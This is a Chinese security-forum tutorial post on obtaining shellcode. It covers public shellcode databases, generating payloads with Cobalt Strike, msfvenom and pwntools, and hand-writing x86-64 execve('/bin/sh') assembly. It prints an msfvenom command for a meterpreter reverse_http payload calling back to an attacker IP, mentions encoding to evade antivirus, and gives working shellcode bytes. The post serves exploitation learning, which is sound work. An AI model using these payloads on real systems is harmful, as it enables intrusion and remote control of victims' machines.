安全矩阵

 找回密码
 立即注册
搜索
查看: 212|回复: 0

简述获取shellcode的几种方式

[复制链接]

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
发表于 2020-6-18 13:42:00 | 显示全部楼层 |阅读模式
本帖最后由 ethereel 于 2020-6-18 13:43 编辑

#首发于FreeBuf
0x00shellcode简介
在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
shellcode可以按照攻击者控制是否在目标机器上执行载荷分为本地shellcode和远程shellcode。本地运行的shellcode经常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限;远程shellcode常用于攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。
那么,当我们已经通过种种手段得到程序溢出的地址,该如何获取或者编写shellcode呢,一起来看看吧。
0x01直接获取shellcode
网络上有许多已经编写好的shellcode资源公开分享,由于shellcode的本质是一段机器码,在不同的硬件设备上可能有诸多区别,在使用时一定要注意平台是否通用。下面是两个可以学习的网站。

file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/956a0d42314548feb614b01ee0a96dcc/clipboard.png?lastModify=1592458336
Shellcodes database for study cases(该平台目前已停止更新)
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/43b2cb34c17344838a9d5510b3d2d666/clipboard.png?lastModify=1592458336
但来自网络的资源很有可能由于久久未更新、适用的系统已经被淘汰,或者是shellcode已经被公开而变得容易被查杀,这时候我们就需要能够即时获取shellcode的方法。
0x02通过软件获取shellcode
目前网上有很多的开源的自动生成shellcode的工具,在这里介绍两种比较常用的shellcode生成方式。
1.cobaltstrike(版本4.0)
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/c8edc579e2d44102b7bfa8bf9fb19323/clipboard.png?lastModify=1592458336
勾选生成c语言形式的shellcode,在下拉列表里我们还能看到有许多其他语言形式的shellcode。
接着我们会得到一个文件,其中包含了所需的shellcode,只要将这段shellcode放入预先写好的加载器中就可以使用了:
2.msf(系统版本kali linux 5.5 amd64)
在linux平台下,我们还可以利用metasploit框架下的msfvenom生成shellcode
命令行选项:
   
  1. -p, --payload    <payload>       指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定
  2.     -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
  3.     -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
  4.     -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
  5.     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
  6.     -a, --arch       <architecture>  指定payload的目标架构
  7.         --platform   <platform>      指定payload的目标平台
  8.     -s, --space      <length>        设定有效攻击荷载的最大长度
  9.     -b, --bad-chars  <list>          设定规避字符集,比如: '\x00\xff'
  10.     -i, --iterations <count>         指定payload的编码次数
  11.     -c, --add-code   <path>          指定一个附加的win32 shellcode文件
  12.     -x, --template   <path>          指定一个自定义的可执行文件作为模板
  13.     -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
  14.         --payload-options            列举payload的标准选项
  15.     -o, --out   <path>               保存payload
  16.     -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
  17.         --shellest                   最小化生成payload
  18.     -h, --help                       查看帮助选项
  19.         --help-formats               查看msf支持的输出格式列表
复制代码


例如:
  1. msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c
复制代码


这个指令生成的shellcode将会注入mettle server payload,反弹连接一个连接。
接着我们会得到相应的shellcode
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/48133b70d76c4074acbe8dc6c8280a68/clipboard.png?lastModify=1592458336
当然这只是最基础的操作,msfvenom集成了msfpayload和msfencoder,还可以添加其他的指令,比如编码和迭代来避免杀毒软件的查杀。
3.pwntools(python 3.8)
pwntools是常用的二进制利用框架。下图官方文档中是pwntools中生成shellcode的核心模块shellcraft及相应用法。
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/966df8646bac485f99ac7d292b4fac90/clipboard.png?lastModify=1592458336
例如:
  1. from pwn import *
  2. #设置目标机器信息
  3. context(arch = 'amd64', os = 'linux',log_level = 'debug')
  4. #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
  5. shellcode=asm(shellcraft.amd64.linux.sh())
  6. print(shellcode)
复制代码


运行代码,可以得到汇编代码及对应的shellcode:
  1. [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.8/dist-packages/pwnlib/data/includes /dev/stdin
  2. [DEBUG] Assembling
  3.     .section .shellcode,"awx"
  4.     .global _start
  5.     .global __start
  6.     _start:
  7.     __start:
  8.     .intel_syntax noprefix
  9.         /* execve(path='/bin///sh', argv=['sh'], envp=0) */
  10.         /* push b'/bin///sh\x00' */
  11.         push 0x68
  12.         mov rax, 0x732f2f2f6e69622f
  13.         push rax
  14.         mov rdi, rsp
  15.         /* push argument array ['sh\x00'] */
  16.         /* push b'sh\x00' */
  17.         push 0x1010101 ^ 0x6873
  18.         xor dword ptr [rsp], 0x1010101
  19.         xor esi, esi /* 0 */
  20.         push rsi /* null terminate */
  21.         push 8
  22.         pop rsi
  23.         add rsi, rsp
  24.         push rsi /* 'sh\x00' */
  25.         mov rsi, rsp
  26.         xor edx, edx /* 0 */
  27.         /* call execve() */
  28.         push 59 /* 0x3b */
  29.         pop rax
  30.         syscall
  31. [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-cvwq0p95/step2 /tmp/pwn-asm-cvwq0p95/step1
  32. [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-cvwq0p95/step3 /tmp/pwn-asm-cvwq0p95/step4
  33. b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'<b>0x03编写shellcode</b>
复制代码

但假如我们需要一些具有特殊功能的shellcode,软件却无法提供相应功能时,该如何方便快捷的编写shellcode呢?
1.直接通过机器码写shellcode
难度对于一般程序员过大,且容易出错
2.通过汇编语言写shellcode
在这里我们以linux平台为例。
理想效果的c代码:
  1. #include "stdlib.h"
  2. #include "unistd.h"
  3. char *buf[]={"/bin/sh",NULL};
  4. void main()
  5. {
  6.     execve("/bin/sh",buf,NULL);
  7.     exit(0);
  8. }
复制代码


execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
查询64位linux中断向量表可知,64位linux下,execve()对应的中断向量表为:0x3b,对应rax
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/8b759aae6860400ebc5495c620fc8ab4/clipboard.png?lastModify=1592458336
  1. section .text
  2.     global _start

  3. _start:

  4.     xor rdx, rdx
  5.     push rdx
  6.     mov rax, 0x68732f2f6e69622f //将“/bin//sh”的十六进制按字节倒序后的结果0x68732f2f6e69622f放入rax寄存器。为什么不使用/bin/sh?因为这样会产生\00截断。而/bin//sh和/bin/sh相等。
  7.     push rax //将/bin//sh压入栈
  8.     mov rdi, rsp //从rsp中获取字符串/bin//sh的地址,将其放入rdi
  9.     push rdx //
  10.     push rdi
  11.     mov rsi, rsp
  12.     xor rax, rax
  13.     mov al, 0x3b
  14.     syscall <div align="left"><font color="rgb(31, 9, 9)"><font "="" face=""><font style="font-size: 16px">编译文件:</font></font></font></div>nasm -f elf64 sc64.asm
  15. ld -m elf_x86_64 -s -o shellcode sc64.o
  16. ./shellcode
复制代码


成功运行文件,说明编写成功:
此时可以查看机器码:
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/7c40da88d2744836b003539a4b38ba54/clipboard.png?lastModify=1592458336
虽然已经给出机器码,但如果我们能通过过滤无关参数直接获取shellcode,何乐而不为呢?运行命令:
  1. objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
复制代码


得到shellcode:

  1. \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-8-13 22:50 , Processed in 0.014911 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表